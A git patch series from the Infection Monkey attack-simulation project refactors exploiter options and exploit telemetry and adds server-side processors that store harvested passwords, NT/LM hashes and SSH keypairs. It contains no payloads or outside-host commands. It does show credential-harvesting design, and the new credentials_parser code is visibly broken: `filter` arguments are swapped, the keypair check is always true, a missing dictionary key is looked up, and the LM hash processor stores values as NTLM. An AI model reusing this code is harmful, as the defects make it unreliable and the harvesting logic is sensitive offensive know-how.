b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -96,7 +96,6 @@ "readme": true } }, - "skip_exploit_if_file_exist": false, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 9552d4da9..8080b27cf 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -118,10 +118,7 @@ "exploits": { "exploit_lm_hash_list": [], "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - } + "exploit_ssh_keys": [] }, "testing": { "export_monkey_telems": false From c83285c782830edec03c49be8024a56073087c3a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 18 Feb 2022 20:05:03 +0100 Subject: [PATCH 0477/1110] Agent: Modify exploiters to have general and exploiter options --- monkey/infection_monkey/master/exploiter.py | 32 +++++++++++++++---- .../infection_monkey/master/test_exploiter.py | 7 ++-- 2 files changed, 29 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 4355ecc16..8405fb6e8 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -1,6 +1,8 @@ import logging import queue import threading +from copy import deepcopy +from itertools import chain from queue import Queue from threading import Event from typing import Callable, Dict, List, Mapping @@ -36,12 +38,10 @@ class Exploiter: scan_completed: Event, stop: Event, ): - # Run vulnerability exploiters before brute force exploiters to minimize the effect of - # account lockout due to invalid credentials - exploiters_to_run = exploiter_config["vulnerability"] + exploiter_config["brute_force"] + exploiters_to_run = self._process_exploiter_config(exploiter_config) logger.debug( "Agent is configured to run the following exploiters in order: " - f"{','.join([e['name'] for e in exploiters_to_run])}" + f"{', '.join([e['name'] for e in exploiters_to_run])}" ) exploit_args = (exploiters_to_run, hosts_to_exploit, results_callback, scan_completed, stop) @@ -49,6 +49,22 @@ class Exploiter: target=self._exploit_hosts_on_queue, args=exploit_args, num_workers=self._num_workers ) + @staticmethod + def _process_exploiter_config(exploiter_config: Mapping) -> List[Mapping]: + # Run vulnerability exploiters before brute force exploiters to minimize the effect of + # account lockout due to invalid credentials + ordered_exploiters = chain( + exploiter_config["vulnerability"], exploiter_config["brute_force"] + ) + exploiters_to_run = list(deepcopy(ordered_exploiters)) + + for exploiter in exploiters_to_run: + # This order allows exploiter-specific options to + # override general options for all exploiters. + exploiter["options"] = {**exploiter_config["options"], **exploiter["options"]} + + return exploiters_to_run + def _exploit_hosts_on_queue( self, exploiters_to_run: List[Dict], @@ -83,19 +99,21 @@ class Exploiter: for exploiter in interruptable_iter(exploiters_to_run, stop): exploiter_name = exploiter["name"] - exploiter_results = self._run_exploiter(exploiter_name, victim_host, stop) + exploiter_results = self._run_exploiter( + exploiter_name, exploiter["options"], victim_host, stop + ) results_callback(exploiter_name, victim_host, exploiter_results) if exploiter_name != "ZerologonExploiter" and exploiter_results.success: break def _run_exploiter( - self, exploiter_name: str, victim_host: VictimHost, stop: Event + self, exploiter_name: str, options: Dict, victim_host: VictimHost, stop: Event ) -> ExploiterResultData: logger.debug(f"Attempting to use {exploiter_name} on {victim_host}") credentials = self._get_credentials_for_propagation() - options = {"credentials": credentials} + options = {"credentials": credentials, **options} return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, options, stop) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index aaf30dc2d..9a276e9aa 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -35,12 +35,13 @@ def callback(): @pytest.fixture def exploiter_config(): return { + "options": {"dropper_path_linux": "/tmp/monkey"}, "brute_force": [ - {"name": "PowerShellExploiter"}, - {"name": "SSHExploiter"}, + {"name": "PowerShellExploiter", "options": {"timeout": 10}}, + {"name": "SSHExploiter", "options": {}}, ], "vulnerability": [ - {"name": "ZerologonExploiter"}, + {"name": "ZerologonExploiter", "options": {}}, ], } From afb721017967d6865d0fd0e76d5bcb928b666198 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 22 Feb 2022 12:47:42 +0530 Subject: [PATCH 0478/1110] Agent: Modify ExploitTelem to accept param of type ExploiterResultData --- monkey/infection_monkey/master/mock_master.py | 40 +++---------------- monkey/infection_monkey/master/propagator.py | 11 +---- .../telemetry/exploit_telem.py | 23 ++++------- 3 files changed, 15 insertions(+), 59 deletions(-) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index a7b62b1fd..e7e8e6237 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -101,44 +101,16 @@ class MockMaster(IMaster): def _exploit(self): logger.info("Exploiting victims") - ( - exploitation_result, - propagation_result, - os, - info, - attempts, - error_message, - ) = self._puppet.exploit_host("PowerShellExploiter", "10.0.0.1", {}, None) - logger.info(f"Attempts for exploiting {attempts}") + result = self._puppet.exploit_host("PowerShellExploiter", "10.0.0.1", {}, None) + logger.info(f"Attempts for exploiting {result.attempts}") self._telemetry_messenger.send_telemetry( - ExploitTelem( - "PowerShellExploiter", - self._hosts["10.0.0.1"], - exploitation_result, - propagation_result, - info, - attempts, - ) + ExploitTelem("PowerShellExploiter", self._hosts["10.0.0.1"], result) ) - ( - exploitation_result, - propagation_result, - os, - info, - attempts, - error_message, - ) = self._puppet.exploit_host("SSHExploiter", "10.0.0.3", {}, None) - logger.info(f"Attempts for exploiting {attempts}") + result = self._puppet.exploit_host("SSHExploiter", "10.0.0.3", {}, None) + logger.info(f"Attempts for exploiting {result.attempts}") self._telemetry_messenger.send_telemetry( - ExploitTelem( - "SSHExploiter", - self._hosts["10.0.0.3"], - exploitation_result, - propagation_result, - info, - attempts, - ) + ExploitTelem("SSHExploiter", self._hosts["10.0.0.3"], result) ) logger.info("Finished exploiting victims") diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index e093c259c..a8437cc94 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -165,13 +165,4 @@ class Propagator: f"{result.error_message}" ) - self._telemetry_messenger.send_telemetry( - ExploitTelem( - exploiter_name, - host, - result.exploitation_success, - result.propagation_success, - result.info, - result.attempts, - ) - ) + self._telemetry_messenger.send_telemetry(ExploitTelem(exploiter_name, host, result)) diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index 312a34592..c85dde798 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -1,8 +1,9 @@ -from typing import Dict, List +from typing import Dict from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.base_telem import BaseTelem +from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData class ExploitTelem(BaseTelem): @@ -10,30 +11,22 @@ class ExploitTelem(BaseTelem): self, name: str, host: VictimHost, - exploitation_result: bool, - propagation_result: bool, - info: Dict, - attempts: List, + result: ExploiterResultData, ): """ Default exploit telemetry constructor :param name: The name of exploiter used :param host: The host machine - :param exploitation_result: The result of the exploitation attempt from the 'exploit_host' - method - :param propagation_result: The result of the propagation attempt from the 'exploit_host' - method - :param info: Information about the exploiter - :param attempts: Information about the exploiter's attempts + :param result: Data about the exploitation attempt (success status, info, attempts, etc) """ super(ExploitTelem, self).__init__() self.name = name self.host = host.__dict__ - self.exploitation_result = exploitation_result - self.propagation_result = propagation_result - self.info = info - self.attempts = attempts + self.exploitation_result = result.exploitation_success + self.propagation_result = result.propagation_success + self.info = result.info + self.attempts = result.attempts telem_category = TelemCategoryEnum.EXPLOIT From dff5bde894050ce286257848944a70e2b962553d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 22 Feb 2022 12:50:01 +0530 Subject: [PATCH 0479/1110] UT: Modify ExploitTelem calls in UTs --- .../infection_monkey/telemetry/test_exploit_telem.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py index 0adf69651..5d6c81f56 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py @@ -5,6 +5,7 @@ import pytest from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.exploit_telem import ExploitTelem +from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData DOMAIN_NAME = "domain-name" IP = "0.0.0.0" @@ -30,11 +31,13 @@ EXPLOITER_INFO = { } EXPLOITER_ATTEMPTS = [] RESULT = False +OS_LINUX = "linux" +ERROR_MSG = "failed because yolo" @pytest.fixture def exploit_telem_test_instance(): - return ExploitTelem(EXPLOITER_NAME, HOST, RESULT, RESULT, EXPLOITER_INFO, EXPLOITER_ATTEMPTS) + return ExploitTelem(EXPLOITER_NAME, HOST, ExploiterResultData(RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG)) def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): From e47239f81cae806a9f0c5155f29eb1a450c27d00 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 22 Feb 2022 14:08:39 +0530 Subject: [PATCH 0480/1110] Island: Modify exploit telemetry processing to conform to changes to ExploiterResultData --- monkey/monkey_island/cc/services/edge/edge.py | 2 +- .../monkey_island/cc/services/telemetry/processing/exploit.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/edge/edge.py b/monkey/monkey_island/cc/services/edge/edge.py index 461b0e8a5..1ec7462c3 100644 --- a/monkey/monkey_island/cc/services/edge/edge.py +++ b/monkey/monkey_island/cc/services/edge/edge.py @@ -78,7 +78,7 @@ class EdgeService(Edge): def update_based_on_exploit(self, exploit: Dict): self.exploits.append(exploit) self.save() - if exploit["result"]: + if exploit["exploitation_success"]: self.set_exploited() def set_exploited(self): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index e302be5f5..6cd4bc4ae 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -24,7 +24,7 @@ def process_exploit_telemetry(telemetry_json): check_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), - exploit_successful=telemetry_json["data"]["result"], + exploit_successful=telemetry_json["data"]["exploitation_success"], exploiter=telemetry_json["data"]["exploiter"], target_ip=telemetry_json["data"]["machine"]["ip_addr"], timestamp=telemetry_json["timestamp"], @@ -65,7 +65,7 @@ def update_network_with_exploit(edge: EdgeService, telemetry_json): new_exploit.pop("machine") new_exploit["timestamp"] = telemetry_json["timestamp"] edge.update_based_on_exploit(new_exploit) - if new_exploit["result"]: + if new_exploit["exploitation_success"]: NodeService.set_node_exploited(edge.dst_node_id) From f0679ebb26ab1ca1757fd200b7298118c1586a39 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 22 Feb 2022 17:49:08 +0530 Subject: [PATCH 0481/1110] Agent: Move `pwd`'s import statement to avoid using try/except --- .../credential_collectors/ssh_collector/ssh_handler.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 2e799e0c4..98ca0df4a 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -1,11 +1,6 @@ import glob import logging import os - -try: # can't import on Windows - import pwd -except ModuleNotFoundError: - pass from typing import Dict, Iterable from common.utils.attack_utils import ScanStatus @@ -34,6 +29,8 @@ def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: def _get_home_dirs() -> Iterable[Dict]: + import pwd + root_dir = _get_ssh_struct("root", "") home_dirs = [ _get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() if x.pw_dir.startswith("/home") From b91f3b155152efeaca5182112886b9f5d45e5179 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 22 Feb 2022 17:54:31 +0530 Subject: [PATCH 0482/1110] Agent: Fix comment in ExploitTelem --- monkey/infection_monkey/telemetry/exploit_telem.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index c85dde798..5c131dc77 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -17,7 +17,7 @@ class ExploitTelem(BaseTelem): Default exploit telemetry constructor :param name: The name of exploiter used :param host: The host machine - :param result: Data about the exploitation attempt (success status, info, attempts, etc) + :param result: Data about the exploitation (success status, info, attempts, etc) """ super(ExploitTelem, self).__init__() From 5c5e1702969767628ddea583c0f2b764b7cea8cc Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 17 Feb 2022 13:18:10 +0200 Subject: [PATCH 0483/1110] Island: Add processors for credentials --- .../telemetry/processing/credentials.py | 7 ++++ .../__init__.py | 0 .../credentials/credentials_parser.py | 39 ++++++++++++++++++ .../credentials/identities/__init__.py | 0 .../identities/username_processor.py | 2 + .../credentials/secrets/__init__.py | 0 .../credentials/secrets/lm_hash_processor.py | 5 +++ .../credentials/secrets/nt_hash_processor.py | 5 +++ .../credentials/secrets/password_processor.py | 5 +++ .../credentials/secrets/ssh_key_processor.py | 40 +++++++++++++++++++ 10 files changed, 103 insertions(+) create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials.py rename monkey/monkey_island/cc/services/telemetry/processing/{system_info_collectors => credentials}/__init__.py (100%) create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/__init__.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/__init__.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials.py new file mode 100644 index 000000000..fa772d1fd --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials.py @@ -0,0 +1,7 @@ +from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import ( + parse_credentials, +) + + +def process_credentials_telemetry(telemetry: dict): + parse_credentials(telemetry) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/__init__.py rename to monkey/monkey_island/cc/services/telemetry/processing/credentials/__init__.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py new file mode 100644 index 000000000..af022b678 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -0,0 +1,39 @@ +import logging + +from infection_monkey.i_puppet import CredentialType + +from .identities.username_processor import process_username +from .secrets.lm_hash_processor import process_lm_hash +from .secrets.nt_hash_processor import process_nt_hash +from .secrets.password_processor import process_password +from .secrets.ssh_key_processor import process_ssh_key + +logger = logging.getLogger(__name__) + +SECRET_PROCESSORS = { + CredentialType.PASSWORD: process_password, + CredentialType.NT_HASH: process_nt_hash, + CredentialType.LM_HASH: process_lm_hash, + CredentialType.SSH_KEYPAIR: process_ssh_key, +} + +IDENTITY_PROCESSORS = { + CredentialType.USERNAME: process_username, +} + + +def parse_credentials(credentials: dict): + for credential in credentials["credentials"]: + if is_ssh_keypair(credentials): + IDENTITY_PROCESSORS[CredentialType.SSH_KEYPAIR](credential, credentials["monkey_guid"]) + else: + for identity in credential["identities"]: + IDENTITY_PROCESSORS[identity["type"]](identity) + for secret in credential["secrets"]: + SECRET_PROCESSORS[secret["type"]](secret) + + +def is_ssh_keypair(credentials: dict) -> bool: + return bool( + filter(credentials["secrets"], lambda secret: secret["type"] == CredentialType.SSH_KEYPAIR) + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py new file mode 100644 index 000000000..c13af4d67 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py @@ -0,0 +1,2 @@ +def process_username(): + pass diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py new file mode 100644 index 000000000..4cc4c28e3 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py @@ -0,0 +1,5 @@ +from monkey_island.cc.services.config import ConfigService + + +def process_lm_hash(lm_hash: dict): + ConfigService.creds_add_ntlm_hash(lm_hash["lm_hash"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py new file mode 100644 index 000000000..e29e2eef0 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py @@ -0,0 +1,5 @@ +from monkey_island.cc.services.config import ConfigService + + +def process_nt_hash(nt_hash: dict): + ConfigService.creds_add_ntlm_hash(nt_hash["nt_hash"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py new file mode 100644 index 000000000..6d3331db6 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py @@ -0,0 +1,5 @@ +from monkey_island.cc.services.config import ConfigService + + +def process_password(password: dict): + ConfigService.creds_add_password(password["password"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py new file mode 100644 index 000000000..df0557115 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py @@ -0,0 +1,40 @@ +from common.common_consts.credentials_type import CredentialsType +from monkey_island.cc.models import Monkey +from monkey_island.cc.server_utils.encryption import get_datastore_encryptor +from monkey_island.cc.services.config import ConfigService + + +class SSHKeyProcessingError(ValueError): + def __init__(self, msg=""): + self.msg = f"Error while processing ssh keypair: {msg}" + super().__init__(self.msg) + + +def process_ssh_key(credentials: dict, monkey_guid: str): + if len(credentials["identities"]) != 1: + raise SSHKeyProcessingError( + f'SSH credentials have {len(credentials["identities"])}' f" users associated with it!" + ) + + for ssh_key in credentials["secrets"]: + if not ssh_key["type"] == CredentialsType.SSH_KEYPAIR: + raise SSHKeyProcessingError("SSH credentials contain secrets that are not keypairs") + + if not ssh_key["public_key"] or not ssh_key["private_key"]: + raise SSHKeyProcessingError("Private or public key missing!") + + # TODO SSH key should be associated with IP that monkey exploited + ip = Monkey.get_single_monkey_by_guid(monkey_guid).ip_addresses[0] + username = credentials["identities"][0]["username"] + + ConfigService.ssh_add_keys( + user=username, + public_key=ssh_key["public_key"], + private_key=ssh_key["private_key"], + ip=ip, + ) + + +def encrypt_system_info_ssh_keys(ssh_key: dict): + for field in ["public_key", "private_key"]: + ssh_key[field] = get_datastore_encryptor().encrypt(ssh_key[field]) From 597fe358064afe936fb4742e4d9ded70fc7abd7f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Feb 2022 15:28:23 +0100 Subject: [PATCH 0484/1110] Island: Remove WMI handler that processed wmi info * Leftover from broken info gathering package --- .../telemetry/processing/system_info.py | 12 -- .../monkey_island/cc/services/wmi_handler.py | 181 ------------------ 2 files changed, 193 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/wmi_handler.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 7d7f404ce..06ee2e168 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -2,11 +2,9 @@ import logging from monkey_island.cc.server_utils.encryption import get_datastore_encryptor from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 SystemInfoTelemetryDispatcher, ) -from monkey_island.cc.services.wmi_handler import WMIHandler logger = logging.getLogger(__name__) @@ -16,7 +14,6 @@ def process_system_info_telemetry(telemetry_json): telemetry_processing_stages = [ process_ssh_info, process_credential_info, - process_wmi_info, dispatcher.dispatch_collector_results_to_relevant_processors, ] @@ -96,12 +93,3 @@ def add_system_info_creds_to_config(creds): ConfigService.creds_add_lm_hash(creds[user]["lm_hash"]) if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]: ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"]) - - -def process_wmi_info(telemetry_json): - users_secrets = {} - - if "wmi" in telemetry_json["data"]: - monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]).get("_id") - wmi_handler = WMIHandler(monkey_id, telemetry_json["data"]["wmi"], users_secrets) - wmi_handler.process_and_handle_wmi_info() diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py deleted file mode 100644 index d2f3441f9..000000000 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ /dev/null @@ -1,181 +0,0 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.groups_and_users_consts import GROUPTYPE, USERTYPE - - -class WMIHandler(object): - ADMINISTRATORS_GROUP_KNOWN_SID = "1-5-32-544" - - def __init__(self, monkey_id, wmi_info, user_secrets): - - self.monkey_id = monkey_id - self.info_for_mongo = {} - self.users_secrets = user_secrets - if not wmi_info: - self.users_info = "" - self.groups_info = "" - self.groups_and_users = "" - self.services = "" - self.products = "" - else: - self.users_info = wmi_info["Win32_UserAccount"] - self.groups_info = wmi_info["Win32_Group"] - self.groups_and_users = wmi_info["Win32_GroupUser"] - self.services = wmi_info["Win32_Service"] - self.products = wmi_info["Win32_Product"] - - def process_and_handle_wmi_info(self): - - self.add_groups_to_collection() - self.add_users_to_collection() - self.create_group_user_connection() - self.insert_info_to_mongo() - if self.info_for_mongo: - self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) - self.update_admins_retrospective() - self.update_critical_services() - - def update_critical_services(self): - critical_names = ("W3svc", "MSExchangeServiceHost", "dns", "MSSQL$SQLEXPRES") - mongo.db.monkey.update({"_id": self.monkey_id}, {"$set": {"critical_services": []}}) - - services_names_list = [str(i["Name"])[2:-1] for i in self.services] - products_names_list = [str(i["Name"])[2:-2] for i in self.products] - - for name in critical_names: - if name in services_names_list or name in products_names_list: - mongo.db.monkey.update( - {"_id": self.monkey_id}, {"$addToSet": {"critical_services": name}} - ) - - def build_entity_document(self, entity_info, monkey_id=None): - general_properties_dict = { - "SID": str(entity_info["SID"])[4:-1], - "name": str(entity_info["Name"])[2:-1], - "machine_id": monkey_id, - "member_of": [], - "admin_on_machines": [], - } - - if monkey_id: - general_properties_dict["domain_name"] = None - else: - general_properties_dict["domain_name"] = str(entity_info["Domain"])[2:-1] - - return general_properties_dict - - def add_users_to_collection(self): - for user in self.users_info: - if not user.get("LocalAccount"): - base_entity = self.build_entity_document(user) - else: - base_entity = self.build_entity_document(user, self.monkey_id) - base_entity["NTLM_secret"] = self.users_secrets.get(base_entity["name"], {}).get( - "ntlm_hash" - ) - base_entity["SAM_secret"] = self.users_secrets.get(base_entity["name"], {}).get("sam") - base_entity["secret_location"] = [] - - base_entity["type"] = USERTYPE - self.info_for_mongo[base_entity.get("SID")] = base_entity - - def add_groups_to_collection(self): - for group in self.groups_info: - if not group.get("LocalAccount"): - base_entity = self.build_entity_document(group) - else: - base_entity = self.build_entity_document(group, self.monkey_id) - base_entity["entities_list"] = [] - base_entity["type"] = GROUPTYPE - self.info_for_mongo[base_entity.get("SID")] = base_entity - - def create_group_user_connection(self): - for group_user_couple in self.groups_and_users: - group_part = group_user_couple["GroupComponent"] - child_part = group_user_couple["PartComponent"] - group_sid = str(group_part["SID"])[4:-1] - groups_entities_list = self.info_for_mongo[group_sid]["entities_list"] - child_sid = "" - - if isinstance(child_part, str): - child_part = str(child_part) - name = None - domain_name = None - if "cimv2:Win32_UserAccount" in child_part: - # domain user - domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( - '",Name="' - )[0] - name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( - '",Name="' - )[1][:-2] - - if "cimv2:Win32_Group" in child_part: - # domain group - domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split( - '",Name="' - )[0] - name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][ - :-2 - ] - - for entity in self.info_for_mongo: - if ( - self.info_for_mongo[entity]["name"] == name - and self.info_for_mongo[entity]["domain"] == domain_name - ): - child_sid = self.info_for_mongo[entity]["SID"] - else: - child_sid = str(child_part["SID"])[4:-1] - - if child_sid and child_sid not in groups_entities_list: - groups_entities_list.append(child_sid) - - if child_sid: - if child_sid in self.info_for_mongo: - self.info_for_mongo[child_sid]["member_of"].append(group_sid) - - def insert_info_to_mongo(self): - for entity in list(self.info_for_mongo.values()): - if entity["machine_id"]: - # Handling for local entities. - mongo.db.groupsandusers.update( - {"SID": entity["SID"], "machine_id": entity["machine_id"]}, entity, upsert=True - ) - else: - # Handlings for domain entities. - if not mongo.db.groupsandusers.find_one({"SID": entity["SID"]}): - mongo.db.groupsandusers.insert_one(entity) - else: - # if entity is domain entity, add the monkey id of current machine to - # secrets_location. - # (found on this machine) - if entity.get("NTLM_secret"): - mongo.db.groupsandusers.update_one( - {"SID": entity["SID"], "type": USERTYPE}, - {"$addToSet": {"secret_location": self.monkey_id}}, - ) - - def update_admins_retrospective(self): - for profile in self.info_for_mongo: - groups_from_mongo = mongo.db.groupsandusers.find( - {"SID": {"$in": self.info_for_mongo[profile]["member_of"]}}, - {"admin_on_machines": 1}, - ) - - for group in groups_from_mongo: - if group["admin_on_machines"]: - mongo.db.groupsandusers.update_one( - {"SID": self.info_for_mongo[profile]["SID"]}, - {"$addToSet": {"admin_on_machines": {"$each": group["admin_on_machines"]}}}, - ) - - def add_admin(self, group, machine_id): - for sid in group["entities_list"]: - mongo.db.groupsandusers.update_one( - {"SID": sid}, {"$addToSet": {"admin_on_machines": machine_id}} - ) - entity_details = mongo.db.groupsandusers.find_one( - {"SID": sid}, {"type": USERTYPE, "entities_list": 1} - ) - if entity_details.get("type") == GROUPTYPE: - self.add_admin(entity_details, machine_id) From a8717dc69104758bad9efc4ac4b38f172bdb0c12 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 17 Feb 2022 10:37:20 +0200 Subject: [PATCH 0485/1110] Agent: rename and move credentials_type enum to common --- .../common_consts/credentials_type.py} | 2 +- .../credential_components/lm_hash.py | 5 +++-- .../credential_components/nt_hash.py | 5 +++-- .../credential_components/password.py | 5 +++-- .../credential_components/ssh_keypair.py | 5 +++-- .../credential_components/username.py | 5 +++-- monkey/infection_monkey/i_puppet/__init__.py | 11 +++++------ .../i_puppet/credential_collection/__init__.py | 1 - .../credential_collection/i_credential_component.py | 4 ++-- .../cc/services/telemetry/processing/processing.py | 1 + 10 files changed, 24 insertions(+), 20 deletions(-) rename monkey/{infection_monkey/i_puppet/credential_collection/credential_type.py => common/common_consts/credentials_type.py} (79%) diff --git a/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py b/monkey/common/common_consts/credentials_type.py similarity index 79% rename from monkey/infection_monkey/i_puppet/credential_collection/credential_type.py rename to monkey/common/common_consts/credentials_type.py index ef00f3732..e818b1e5c 100644 --- a/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py +++ 